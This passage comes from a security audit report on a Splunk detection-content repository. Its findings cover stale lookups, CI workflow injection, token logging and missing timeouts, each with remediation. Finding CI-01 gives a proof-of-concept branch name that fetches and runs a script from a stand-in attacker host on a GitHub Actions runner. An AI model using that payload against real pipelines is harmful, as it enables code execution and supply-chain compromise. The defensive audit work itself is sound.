Standards mapping.

CWE: CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-665. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** SA-11 Developer Testing and Evaluation, CM-6 Configuration Settings. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.9 Configuration management. **SANS Secure Coding Practice:** Splunk app and dashboards / System Configuration.

APP-06 — Stale and unattributed threat-intelligence lookups (SSLBL, dynamic DNS providers)

Severity: Low (no CVSS score (informational)). Exploitability: Detection-coverage.

Location. lookups/csv/sslbl_ssl_certificate_blacklist.csv; lookups/csv/dynamic_dns_providers_default.csv/.yml

Severity: Low — CVSS v3.1 N/A (intel freshness / provenance)

Location: `lookups/csv/sslbl_ssl_certificate_blacklist.csv` (6,794 rows; `Listingdate` range 2014-05-04 … 2025-04-02); `lookups/csv/dynamic_dns_providers_default.csv` (91,975 rows, all of form `*.<domain>, True`, 0 provenance/source field, 0 dates); `lookups/csv/dynamic_dns_providers_default.yml` description "should not be modified".

Description: Two blocklist-style lookups ship as static CSV with no provenance, no source URL, and no refresh mechanism. The SSLBL list's most recent entry is 2025-04-02 — roughly 18 months before today (2026-10-06) — so TLS-fingerprint detections keyed on it will miss anything newer and may fire on sinkholed/re-issued certs. The 91,975-row dynamic-DNS provider list has no attribution (abuse.ch / which feed, when pulled), which impedes validation and legal/licensing review, and the "should not be modified" note discourages the operator from updating it.

Untrusted-input reachability: These are reference data consumed by detections (e.g. `detections/network/detect_hosts_connecting_to_dynamic_domain_providers.yml` via `isDynDNS_default`; SSLBL via firewall/TLS detections). **Verdict: Not exploitable**; detection-coverage and data-governance risk (stale intel = missed detections / false positives).

PoC: Row counts and date ranges computed with `python3 -I` CSV reader over copies in scratch; no source/attribution column present.

Remediation: Add provenance columns (source feed, pull date, license) or a documented refresh job (contentctl pipeline step) that re-pulls from the authoritative feed; version and date-stamp the lookups; replace "should not be modified" with a documented update procedure. For time-sensitive intel, prefer a scheduled lookup-gen search or TA over a baked-in CSV.

Mappings: CWE-1104 (Use of Unmaintained Third-Party Components) analog; CWE-672 (stale data). OWASP A06:2021 Vulnerable and Outdated Components. ASVS v4 1.14 / 10.3. ATT&CK — detection coverage (T1071/T1568 dynamic resolution the lists target). NIST 800-53 Rev5 SI-5 (Security Alerts), RA-5, SA-9. NIST CSF 2.0 ID.RA / PR.PS. ISO 27001:2022 A.5.7 (Threat intelligence), A.8.8. SANS/CERT: intel freshness. Best practice: documented intel feed lifecycle.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-672. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **NIST SP 800-53r5:** SI-5, RA-5 Vulnerability Monitoring and Scanning. **NIST CSF 2.0:** ID.RA Identify - Risk Assessment, PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.5.7, A.8.8 Management of technical vulnerabilities. **SANS Secure Coding Practice:** Splunk app and dashboards / System Configuration.

APP-09 — Example identity lookups shipped as defaults (domain_controllers, domain_admins)

Severity: Low (no CVSS score (informational)). Exploitability: Secure-default.

Location. lookups/csv/domain_controllers.csv; lookups/csv/domain_admins.csv

Severity: Low — CVSS v3.1 N/A (secure default / data-quality)

Location: `lookups/csv/domain_controllers.csv` (`dc01.example.com,true`), `lookups/csv/domain_admins.csv` (`Administrator`), plus empty placeholder CSVs (`domains.csv`, `aws_service_accounts.csv`, `previously_seen_*`, `*_local.csv`, `brandMonitoring_lookup`).

Description: Identity-sensitive lookups ship with example rows (`dc01.example.com`, `Administrator`). Detections that key on these (e.g. `windows_kerberos_local_successful_logon.yml` consumes `domain_controllers`;

`windows_domain_admin_impersonation_indicator.yml` consumes `domain_admins`) will produce false positives/negatives until the operator replaces the example data with real DC/admin inventory. Empty placeholder lookups are the correct pattern (fail-empty); the concern is the non-empty example rows that look like real config.

Untrusted-input reachability: None. **Verdict: Not exploitable** (secure-default/tuning concern).

PoC: Read of the shipped CSV rows.

Remediation: Ship these with an empty data row (header only) or a clearly non-matching sentinel, and document the required population step; or source them from an identity lookup/asset framework. Explanation: example identities masquerading as config cause silent detection gaps.

Mappings: CWE-1188 (Insecure Default Initialization of Resource). OWASP A05:2021. ASVS v4 1.1 / 8.1. NIST 800-53 Rev5 CM-6, SA-4. NIST CSF 2.0 PR.PS-01. ISO 27001:2022 A.8.9. Best practice: fail-empty reference data.

Standards mapping.

CWE: CWE-1188 Initialization of a Resource with an Insecure Default. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** CM-6 Configuration Settings. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.9 Configuration management. **SANS Secure Coding Practice:** Splunk app and dashboards / System Configuration.

APP-12 — Response templates: unquoted src_user SPL token and instance-specific asset IDs

Severity: Low (no CVSS score (informational)). Exploitability: Conditionally exploitable (token source dependent).

Location. response_templates/*SuspiciousEmail* (v2/v3), response_templates/*.json

Severity: Low — CVSS v3.1 N/A (portability + conditional injection)

Location: `response_templates/*SuspiciousEmail*` (v2/v3) embedded URL-encoded SPL containing `... | search recipient IN ($src_user$) ...`; v3 templates' `suggestions.actions` carry instance-specific `app_id`/`asset` numbers (e.g. asset 36 SMTP, asset 44 CrowdStrike), `creator: "splunker"`, `_user: "nobody"`.

Description: (a) SuspiciousEmail response templates embed SPL where the `$src_user$` token is inlined into an `IN (...)` clause without `|s` quoting. If `$src_user$` is ever sourced from attacker-controllable notable/event data (an email recipient field), the same SPL-injection class as APP-01/02 applies at phishing-response time. I could not confirm the exact binding of `$src_user$` within Mission Control at review time, so this is raised with that caveat (Conditionally exploitable if the token derives from event data; Not exploitable if it is an analyst-selected literal). (b) The templates hardcode this instance's numeric `app_id`/`asset` IDs and `creator: splunker`, which will not resolve on another deployment — a portability/correctness defect that can cause suggested actions to target the wrong asset.

Untrusted-input reachability: Depends on `$src_user$` provenance within SOAR/Mission Control (not verifiable offline). **Verdict: Conditionally exploitable** (token-source-dependent).

PoC: Read of the compact-rendered template JSON (`rt_compact.txt`, `rt_fold.txt`) showing the unquoted token and the numeric asset IDs.

Remediation: Quote the token (`recipient IN ($src_user|s$)`) or bind it to a validated/escaped parameter; replace hardcoded `app_id`/`asset`/`creator` with deployment-resolved references or

documented post-import mapping. Explanation: `|s` prevents SPL breakout if the token ever carries event data; symbolic references make templates portable.

Mappings: CWE-943 / CWE-89 family (token); CWE-1188 (hardcoded instance IDs). OWASP A03:2021 (injection), A05:2021 (misconfig). ASVS v4 5.3.4. ATT&CK T1059. NIST 800-53 Rev5 SI-10, CM-6. NIST CSF 2.0 PR.PS-06. ISO 27001:2022 A.8.28, A.8.9. Best practice: Splunk `|s` + environment-agnostic SOAR content.

Standards mapping.

CWE: CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-1188 Initialization of a Resource with an Insecure Default. **OWASP Top 10 2021:** A03:2021 Injection, A05:2021 Security Misconfiguration. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter. **NIST SP 800-53r5:** SI-10 Information Input Validation, CM-6 Configuration Settings. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding, A.8.9 Configuration management. **SANS Secure Coding Practice:** Splunk app and dashboards / Output Encoding.

APP-10 — Lookup CSV header hygiene: UTF-8 BOM and leading-space field names

Severity: Informational (no CVSS score (informational)). Exploitability: Data hygiene (potential silent detection gap).

Location. lookups/csv/malware_user_agents.csv, pua_user_agents.csv, rmm_user_agents.csv, suspicious_c2_*.csv, applockereventcodes.csv, dynamic_dns_providers_default.csv, legit_domains.csv, ... (16 files)

Severity: Informational — CVSS v3.1 N/A

Location: BOM in first header field of `malware_user_agents.csv`, `pua_user_agents.csv`, `rmm_user_agents.csv`, `suspicious_c2_named_pipes.csv`, `suspicious_c2_user_agents.csv`, `suspicious_rmm_named_pipes.csv` (e.g. header reads `malware_user_agent`). Leading-space field names in `applockereventcodes.csv` (`Description`), `dynamic_dns_providers_default.csv` (`isDynDNS_default`), `legit_domains.csv` (`isLegit`), `local_file_inclusion_paths.csv` (`lfi_path`), `mandatory_job_for_workflow.csv` (`job_name`), `mandatory_step_for_job.csv`, `ransomware_notes_lookup.csv` (`status`), `suspicious_writes_lookup.csv` (`note`), `images_to_repository.csv`, `dynamic_dns_providers_local.csv`.

Description: A UTF-8 BOM prepended to the first header makes the first field name `<name>` rather than `<name>`; leading spaces make the field `name` rather than `name`. Whether Splunk strips these at lookup-load time depends on the Splunk version/transforms configuration — I could not verify Splunk's exact BOM/whitespace handling in this offline review, so this is raised as hygiene with that caveat. The risk if not stripped: a detection referencing `OUTPUT Description` or `OUTPUTNEW isDynDNS_default` would not match the `Description` / `isDynDNS_default` column, silently returning null. Downstream detections do reference these exact names (e.g. `windows_applocker_block_events.yml` uses `OUTPUT Description`; `detect_hosts_connecting_to_dynamic_domain_providers.yml` uses `OUTPUTNEW isDynDNS_default`).

Untrusted-input reachability: None. **Verdict: Not exploitable** (data hygiene; potential silent detection gap).

PoC: `python3 -I` byte inspection of header rows showed BOM bytes and leading spaces; detection field references confirmed by grep.

Remediation: Strip BOM and leading/trailing whitespace from CSV headers in CI (normalize on commit); add a lint check that lookup CSV header field names match the names detections reference. Explanation: canonical header names eliminate silent lookup-miss gaps regardless of Splunk's stripping behavior.

Mappings: CWE-20 / CWE-176 (Improper Handling of Unicode Encoding) analog. OWASP A05:2021. ASVS v4 5.1. NIST 800-53 Rev5 SI-10, SA-11. NIST CSF 2.0 PR.PS-06. ISO 27001:2022 A.8.28. Best practice: CSV header normalization in CI.

Standards mapping.

CWE: CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-176. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** SI-10 Information Input Validation, SA-11 Developer Testing and Evaluation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Splunk app and dashboards / Input Validation.

APP-13 — JSON schemas leave SPL/playbook/cron fields unconstrained; RemovedContent schema lacks additionalProperties:false

Severity: Informational (no CVSS score (informational)). Exploitability: Validation strength.

Location. schemas/EventBasedDetection.schema.json:5182-5185,5206-5210,5428-5433,6898-6901; schemas/Playbook.schema.json:2878-2882; schemas/RemovedContent.schema.json

Severity: Informational — CVSS v3.1 N/A

Location: `schemas/EventBasedDetection.schema.json` `SplString` def lines 5428-5433 (`"pattern": "[^\\s].+[^\\s]"` only); `search` lines 6898-6901 and `Drilldown.search` lines 5182-5185 (unconstrained string); `EsTokenString` lines 5206-5210 (plain string, "runtime-validated"); `schemas/Playbook.schema.json` lines 2878-2882 (`playbook` unconstrained); `cron_schedule` unconstrained (field_validator); `schemas/RemovedContent.schema.json` (no top-level `additionalProperties: false`, unlike the other 10 schemas).

Description: The build-time JSON schemas do not constrain the most security-relevant free-text fields: `search`/`Drilldown.search` accept any SPL, `playbook` accepts any string, `cron_schedule` is unvalidated at the schema layer (these are enforced only by downstream Pydantic/field validators at contentctl build time, which is reasonable but means a schema-only consumer gets no guardrail). `RemovedContent.schema.json` omits `additionalProperties: false`, so it silently accepts unknown keys — a typo'd field in a removed-content entry would pass validation. `TestData.data` allows a `format: file-path`, and large enums (`AllContentEnum`, `AtomicGuidEnum`) are present.

Untrusted-input reachability: Schemas validate repo-authored content, not runtime user input. **Verdict: Not exploitable**; robustness/validation-strength note.

PoC: Read of the schema defs; compared `additionalProperties` presence across the 11 schema files.

Remediation: Add `additionalProperties: false` to `RemovedContent.schema.json` for parity; document that `search`/`playbook`/`cron` are intentionally runtime-validated and keep the Pydantic validators authoritative; consider a lightweight SPL/cron sanity pattern at the schema layer for fail-fast feedback. Explanation: strict schemas catch typos and unexpected fields before the heavier build runs.

Mappings: CWE-20 (Improper Input Validation), CWE-1286 (Improper Validation of Syntactic Correctness). OWASP A05:2021 / A08:2021. ASVS v4 5.1 / 13.x. NIST 800-53 Rev5 SI-10, SA-11.

NIST CSF 2.0 PR.PS-06. ISO 27001:2022 A.8.28. Best practice: strict JSON Schema (`additionalProperties:false`).

Standards mapping.

CWE: CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-1286 Improper Validation of Syntactic Correctness of Input. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration, A08:2021 Software and Data Integrity Failures. **NIST SP 800-53r5:** SI-10 Information Input Validation, SA-11 Developer Testing and Evaluation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Splunk app and dashboards / Input Validation.

APP-14 — Documentation instructs bypassing pre-commit hooks (git commit --no-verify); yamllint scoped to detections only

Severity: Informational (no CVSS score (informational)). Exploitability: SDLC control.

Location. docs/ci/yaml_formatting.md; .yamllint

Severity: Informational — CVSS v3.1 N/A

Location: `docs/ci/yaml_formatting.md` (documents using `git commit --no-verify` to skip the formatting pre-commit hook).

Description: The contributor doc describes `git commit --no-verify` to skip pre-commit formatting checks. While sometimes necessary, documenting it as a routine step trains contributors to bypass the hook that also runs lint/secret checks, weakening the shift-left controls (and would let the `example_log` secrets of APP-11 slip past a local scan if the server-side gate is also lenient). `.yamllint` additionally ignores all directories except `detections/`, so most of the repo (including `data_sources/`, `lookups/`) is not linted.

Untrusted-input reachability: N/A (process/governance). **Verdict: Not exploitable**; SDLC-control note.

PoC: Read of `docs/ci/yaml_formatting.md` and `.yamllint` ignore scope.

Remediation: Enforce the same checks server-side in CI (required status checks) so `--no-verify` locally cannot merge unformatted/secret-bearing content; scope `.yamllint` to include `data_sources/` and `lookups/`; reserve `--no-verify` for documented exceptions. Explanation: server-side required checks make local bypass harmless.

Mappings: CWE-1120 (Excessive Code Complexity) — N/A; closest is CWE-1127 / process weakness; OWASP A05:2021 / A08:2021 (Software and Data Integrity Failures). ASVS v4 1.14 / 14.2. NIST 800-53 Rev5 SA-11, SA-15, CM-3. NIST CSF 2.0 PR.PS / GV.SC. ISO 27001:2022 A.8.25 (Secure development lifecycle), A.8.28. SANS/CERT: enforced CI gates. Best practice: server-side required status checks.

Standards mapping.

CWE: CWE-1127. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration, A08:2021 Software and Data Integrity Failures. **NIST SP 800-53r5:** SA-11 Developer Testing and Evaluation, SA-15 Development Process, Standards, and Tools, CM-3 Configuration Change Control. **NIST CSF 2.0:** PR.PS Protect - Platform Security, GV.SC Govern - Cybersecurity Supply Chain Risk Management. **ISO/IEC 27001:2022:** A.8.25 Secure development life cycle, A.8.28 Secure coding. **SANS Secure Coding Practice:** Splunk app and dashboards / System Configuration.

4.5 CI/CD Pipeline and Build Scripts

This area produced 13 unique findings: 2 High, 2 Medium, 5 Low, 4 Informational.

CI-01 — Script injection via github.head_ref interpolated into run: steps (unit-testing workflow)

Severity: High (CVSS v3.1 base 8.1). Exploitability: Conditionally exploitable (fork PR + run approval; RCE on runner, no fork secrets).

Location. .github/workflows/unit-testing.yml:26,50 (also 25,51,77)

```
26:            echo "The PR head branch is: ${{ github.head_ref }}"
...
50:            echo "Current Branch (Head Ref): ${{ github.head_ref }}"
```

Description: These `run:` steps paste `${{ github.head_ref }}` directly into the shell script that GitHub Actions generates. Actions expression interpolation happens **before** the shell sees the line, so the branch name is spliced into the script body as literal text, not as a shell variable. `github.head_ref` is the head branch name of the PR and is fully controlled by the PR author on a fork PR. Git permits branch names containing `$(...)` and backticks (confirmed: `git check-ref-format --branch 'feature/$(whoami)'` and `` 'id`' `` both pass; only a bare `"` is rejected). An attacker opens a fork PR from a branch named e.g. `` curl -sL https://evil/x|bash `` or `$(curl -sL https://evil/x|bash)` and when line 26/50 executes, the command substitution runs on the runner. **Untrusted-input reachability**: Source = PR head branch name (fork contributor) → github.head_ref → interpolated into run: shell body → command execution. Preconditions: a fork PR whose path filter matches (data_sources/**`, `detections/**, lookups/**`, `macros/**, install.yml) and whose workflow run is approved. GitHub by default requires maintainer approval to run pull_request workflows for first-time/outside contributors; maintainers routinely approve content PRs. Secrets (APPINSPECTUSERNAME/PASSWORD) are **not** delivered to fork-PR runs and GITHUB_TOKEN is read-only there, so this is not direct secret theft — but it is arbitrary code execution on the job runner (which also builds images, has network egress, and uploads artifacts). On a self-hosted / large persistent runner class (large-ubuntu-22.04-32core`) the blast radius is larger than an ephemeral GitHub-hosted runner (possible runner persistence, cache/artifact poisoning for later jobs). **Verdict: Conditionally exploitable** (fork PR + run approval; RCE in job, no direct secret exfil on fork runs). **Proof of concept** (not executed against infra — safe static demonstration): malicious fork branch name:

```
$(curl -sfL https://attacker.example/p.sh | bash)
```

After GitHub renders line 26 the runner executes literally:

```
echo "The PR head branch is: $(curl -sfL https://attacker.example/p.sh | bash)"
```

Local confirmation that such a name is a legal git branch:

```
$ git check-ref-format --branch 'feature/$(whoami)'  -> prints the name (exit 0 =
ACCEPTED)
$ git check-ref-format --branch '`id`'               -> ACCEPTED
```

Remediation: never interpolate `github.*` into `run:`. Pass through `env:` (quoted) and reference the shell variable:

```
- name: Print out information about PR target
  env:
    HEAD_REF: ${{ github.head_ref }}
    BASE_REF: ${{ github.base_ref }}
  run: |
    echo "The PR target branch is: ${BASE_REF}"
    echo "The PR head branch is:   ${HEAD_REF}"
    git branch --show-current
    git rev-parse HEAD
```

With `env:`, the value is placed in the process environment and the shell expands `${HEAD_REF}` as data, so metacharacters are never parsed as code. Do the same for line 50 and for line 77's `--git-ref ${{ github.base_ref }}` (use `--git-ref "${BASE_REF}"`). Functionality is unchanged — the same string is printed/passed, just not evaluated.

Standards mapping.

CWE: CWE-78 OS Command Injection (2024 CWE Top 25 #7); CWE-94 Improper Control of Generation of Code (Code Injection) (2024 CWE Top 25 #11). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter, T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** SI-10 Information Input Validation, CM-3 Configuration Change Control, SA-15 Development Process, Standards, and Tools. **NIST CSF 2.0:** PR.PS Protect - Platform Security, DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.28 Secure coding, A.8.31 Separation of development, test and production environments. **SANS Secure Coding Practice:** CI/CD / Input Validation.

CI-02 — Untrusted fork-PR code built and executed on a large runner; PR-built artifacts uploaded

Severity: High (CVSS v3.1 base 8.1). Exploitability: Conditionally exploitable (defence-in-depth).

Location. .github/workflows/unit-testing.yml:44-88

```
54:            git fetch origin pull/${{ github.event.pull_request.number
}}/head:new_branch_for_testing
56:            git switch new_branch_for_testing
60:            contentctl-ng build
...
77:            contentctl-ng test --verbose --post-test-behavior NEVER_PAUSE --mode
CHANGED --git-ref ${{ github.base_ref }}
```

Description: The job intentionally fetches the PR head (including fork PRs) and runs `contentctl-ng build` and `contentctl-ng test` over that content. Detection YAML carries SPL searches and the build/test pipeline processes attacker-authored files; combined with CI-01 the runner executes untrusted input. The job runs on `large-ubuntu-22.04-32core` (line 13) — a non-default, higher-resource runner class. It also starts a Docker container and uploads `dist/*.tar.gz` + `test_results/summary.yml` as artifacts (lines 81-88) built from PR content (artifact poisoning: a later consumer that downloads `content-latest`/`test_summary_results` ingests attacker-influenced bytes). `${{ github.event.pull_request.number }}` is a safe integer; the risk is the execution model itself plus CI-01's injection. **Untrusted-input reachability**: fork contributor → PR head checkout → `contentctl-ng build/test` and (via CI-01) shell. Secrets are not present on fork runs, but runner compromise, cache poisoning, and artifact poisoning remain. **Verdict: Conditionally exploitable** (defense-in-depth + depends on runner isolation). **Proof of concept**: open a fork PR touching `detections/**`; the approved run executes the PR's content pipeline on the runner. (CI-01 gives the concrete code-exec primitive.) **Remediation**: keep untrusted-code test jobs on ephemeral GitHub-hosted runners (not a persistent/self-hosted pool); require manual

approval for all outside collaborators (repo Settings → Actions → "Require approval for all external contributors"); drop `GITHUB_TOKEN` to `permissions: {contents: read}`; do not upload PR-built artifacts under names other jobs auto-consume, or scope artifact retention; isolate Docker to the job. Fix CI-01 as above. Document that fork content is run in a disposable sandbox.

Standards mapping.

CWE: CWE-829 Inclusion of Functionality from Untrusted Control Sphere; CWE-94 Improper Control of Generation of Code (Code Injection) (2024 CWE Top 25 #11). **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** SA-15 Development Process, Standards, and Tools, SC-7 Boundary Protection, CM-2 Baseline Configuration. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.31 Separation of development, test and production environments, A.8.25 Secure development life cycle. **SANS Secure Coding Practice:** CI/CD / System Configuration.

CI-03 — Splunkbase session token printed to CI logs by ta_update.py

Severity: Medium (CVSS v3.1 base 6.5). Exploitability: Exploitable as information disclosure to log readers.

Location. .github/workflows/ta_update.py:441-442

```
441: token = SplunkAppSessionToken.get_splunk_base_session_token()
442: print(f"Obtained Splunk Base session token: {token}")
```

Description: The script authenticates to Splunkbase with `SPLUNK_BASE_USERNAME/PASSWORD` (lines 310-340) and obtains a session token, then prints the full token value to stdout. Running under `update_splunk_tas.yml`, stdout goes to the Actions run log. Anyone able to read the workflow logs (org members, and the logs of a public repo are world-readable unless restricted) obtains a live Splunkbase session token usable as `X-Auth-Token` (line 478) to download apps as that account. GitHub secret-masking only masks registered secret values; a token *derived at runtime* is not auto-masked, so it appears in cleartext. **Untrusted-input reachability**: not attacker-triggered (scheduled job), but it is **sensitive-data exposure in logs**. Source = Splunkbase auth → token → `print` → run log → any log reader. **Verdict: Exploitable as information disclosure** (precondition: log read access; for a public repo that is anonymous). **Proof of concept**: inspect the "Run Python Splunk TA checker" step log; the line `Obtained Splunk Base session token: <token>` reveals it. **Remediation**: remove the value from logs.

```
token = SplunkAppSessionToken.get_splunk_base_session_token()
print("Obtained Splunk Base session token (redacted).")
# if a masking hint is desired in GH Actions:
print(f"::add-mask::{token}")
```

Never log credential material; optionally emit `::add-mask::` before first use so any accidental later echo is masked too.

Standards mapping.

CWE: CWE-532 Insertion of Sensitive Information into Log File; CWE-312 Cleartext Storage of Sensitive Information. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures, A04:2021 Insecure Design. **MITRE ATT&CK:** T1552.001 Unsecured Credentials: Credentials In Files. **NIST SP 800-53r5:** AU-9 Protection of Audit Information, SC-28 Protection of Information at Rest, IA-5 Authenticator Management. **NIST CSF 2.0:** PR.DS Protect - Data Security, PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.8.12 Data

leakage prevention, A.8.15 Logging. **SANS Secure Coding Practice:** CI/CD / Error Handling and Logging.

CI-05 — XML parsing of remote responses without defusedxml and HTTP requests without timeout (ta_update.py)

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Not exploitable in normal operation (defence-in-depth).

Location. .github/workflows/ta_update.py:9,17,245,281,322,338,479

```
 338:   root = ET.fromstring(response.content)
 479:   response = requests.get(download_url, headers=headers)   # no timeout
```

Description: Responses from `splunkbase.splunk.com` / `apps.splunk.com` are parsed with `xml.etree.ElementTree.fromstring` (Bandit B314) and `xmltodict.parse`. Python's stdlib XML parsers do not resolve external general entities by default in modern CPython, but are still susceptible to internal entity-expansion / billion-laughs, and `ET` is the pattern Bandit flags for untrusted XML. The data source is a trusted vendor over HTTPS, so practical exploitation requires MITM or compromise of that endpoint. Separately, `requests.get(download_url, ...)` (line 479) and the auth POST (line 322) set no `timeout`, so a hung server stalls the job indefinitely (Bandit B113). `urllib3.disable_warnings(InsecureRequestWarning)` (line 17) suppresses TLS warnings globally (verification itself remains on by default, but the suppression masks future misconfig). **Untrusted-input reachability**: Splunkbase response → XML parser. Precondition: compromise/MITM of Splunkbase (TLS mitigates). **Verdict: Not exploitable in normal operation / defense-in-depth.** The missing timeout is a reliability (availability) weakness, exploitable only as a hang. **Proof of concept**: N/A (requires malicious upstream XML). **Remediation**: use `defusedxml` and add timeouts:

```
from defusedxml.ElementTree import fromstring as safe_fromstring
import defusedxml.expatbuilder  # or defusedxml.xmltodict wrapper
...
root = safe_fromstring(response.content)
response = requests.get(download_url, headers=headers,
timeout=RetryConstant.RETRY_INTERVAL)
```

Keep `response.raise_for_status()`; set an explicit `timeout` on every `requests` call; drop the blanket `disable_warnings`.

Standards mapping.

CWE: CWE-611; CWE-776; CWE-400 Uncontrolled Resource Consumption (2024 CWE Top 25 #24). **OWASP Top 10 2021:** A05:2021 Security Misconfiguration, A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1499 Endpoint Denial of Service. **NIST SP 800-53r5:** SI-10 Information Input Validation, SC-5 Denial-of-Service Protection. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.26 Application security requirements. **SANS Secure Coding Practice:** CI/CD / Input Validation.

CI-08 — External tools launched via partial executable path (PATH hijack) in pre-commit hook and scripts

Severity: Low (CVSS v3.1 base 4.2). Exploitability: Not exploitable in a clean environment.

Location. .pre-commit-hooks/yamlfmt-hook.py:33-37,90-95,106-111; scripts/validate_yaml.py:36-40,112-117,301-306; scripts/enforce_yaml_field_order.py:63

```
# yamlfmt-hook.py:33
for cmd in ['yamlfmt', 'yamlfmt.exe']:
    result = subprocess.run([cmd, '--version'], ...)
```

Description: `yamlfmt`, `git`, `yamllint` are launched by bare name (Bandit B607), resolved via `PATH`. On a developer workstation or CI runner whose `PATH` contains an attacker-writable directory ahead of the real binary, a planted `yamlfmt`/`git` runs instead. All invocations use the **list form** (no `shell=True`) and file arguments are prefixed by `repo_root/detections/...` (they never begin with `-`), so there is **no shell-command injection and no argument-injection** here — the residual risk is PATH ordering only. This is primarily a local-dev hook; CI impact is bounded by runner `PATH` hygiene. **Untrusted-input reachability**: requires attacker control of `PATH`/a writable PATH dir. **Verdict: Not exploitable in a clean environment / defense-in-depth. Remediation**: resolve with `shutil.which()` and validate, or require an absolute path; keep list-form calls. Example:

```
import shutil
exe = shutil.which('yamlfmt')
if not exe:
    print("ERROR: yamlfmt not found on PATH"); return 1
subprocess.run([exe, '--version'], capture_output=True, text=True, check=False)
```

Standards mapping.

CWE: CWE-426; CWE-427. **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1574.007 Hijack Execution Flow: Path Interception by PATH Environment Variable. **NIST SP 800-53r5:** CM-7 Least Functionality, SI-7 Software, Firmware, and Information Integrity. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.19 Installation of software on operational systems. **SANS Secure Coding Practice:** CI/CD / General Coding Practices.

CI-13 — Missing top-level permissions: blocks and use of a personal access token where a scoped token would do

Severity: Low (CVSS v3.1 base 3.5). Exploitability: Least-privilege hardening.

Location. .github/workflows/appinspect.yml, .github/workflows/build.yml, .github/workflows/build-response-templates.yml, .github/workflows/unit-testing.yml, .github/workflows/yaml-validation.yml, .github/workflows/datasource-dependabot.yml:17,48, .github/workflows/update_splunk_tas.yml

Description: Most workflows declare no `permissions:`, inheriting the repository/org default `GITHUB_TOKEN` scope (which may be read/write depending on org settings). Jobs that only build/lint should pin `permissions: {contents: read}`. `datasource-dependabot.yml` uses a personal access token (`DATA_SOURCES_DEPENDABOT`) rather than the job `GITHUB_TOKEN`; a PAT is broader and longer-lived — if leaked it is more damaging than a scoped job token. These are scheduled (trusted) jobs, so the exposure is least-privilege hardening rather than an exploit. **Remediation**: add explicit minimal `permissions:` to every workflow; prefer `github.token` with `pull-requests:write`/`contents:write` (as `update_nist_ai_rmf_detection_map.yml` already does) over a PAT, and if a PAT is required use a fine-grained token scoped to this repo.

Standards mapping.

CWE: CWE-250 Execution with Unnecessary Privileges; CWE-272. **OWASP Top 10 2021:** A04:2021 Insecure Design, A01:2021 Broken Access Control. **NIST SP 800-53r5:** AC-6 Least Privilege, CM-7 Least Functionality. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.8.2 Privileged access rights. **SANS Secure Coding Practice:** CI/CD / Access Control.

CI-09 — Bare except: and broad exception handling swallow errors (validate_yaml.py, ta_update.py)

Severity: Low (CVSS v3.1 base 3.3). Exploitability: Robustness weakness.

Location. scripts/validate_yaml.py:119; .github/workflows/ta_update.py:472,499-501

Description: `validate_yaml.py` line 119 silently discards any exception while resolving the repo root, so a git failure is hidden and path handling may proceed with wrong assumptions. In `ta_update.py` the bare except at 472 treats *any* `head_object` error as "file missing" (could mask auth/permission errors and trigger needless re-upload), and 499-501 marks a UID processed on error — a failed download is silently skipped, so a TA may never be updated without a clear signal. Robustness / error-handling weaknesses, not directly exploitable. **Remediation**: catch specific exceptions and log context:

```
# validate_yaml.py
except (subprocess.CalledProcessError, FileNotFoundError):
    pass  # git not available -> fall back to cwd (intended)
# ta_update.py head_object
except botocore.exceptions.ClientError as e:
    if e.response["Error"]["Code"] not in ("404", "NoSuchKey"):
        raise
```

Standards mapping.

CWE: CWE-396; CWE-390 Detection of Error Condition Without Action. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST SP 800-53r5:** SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.15 Logging. **SANS Secure Coding Practice:** CI/CD / Error Handling and Logging.

CI-10 — PR-controlled detection name/exception rendered unescaped into the GitHub step summary

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Conditionally exploitable (content spoofing).

Location. .github/workflows/format_test_results.py:36-46; .github/workflows/unit-testing.yml:100

```
39:  name = (detection.get('name') or 'N/A').strip()
42:  exception = (test.get('exception') or 'N/A')
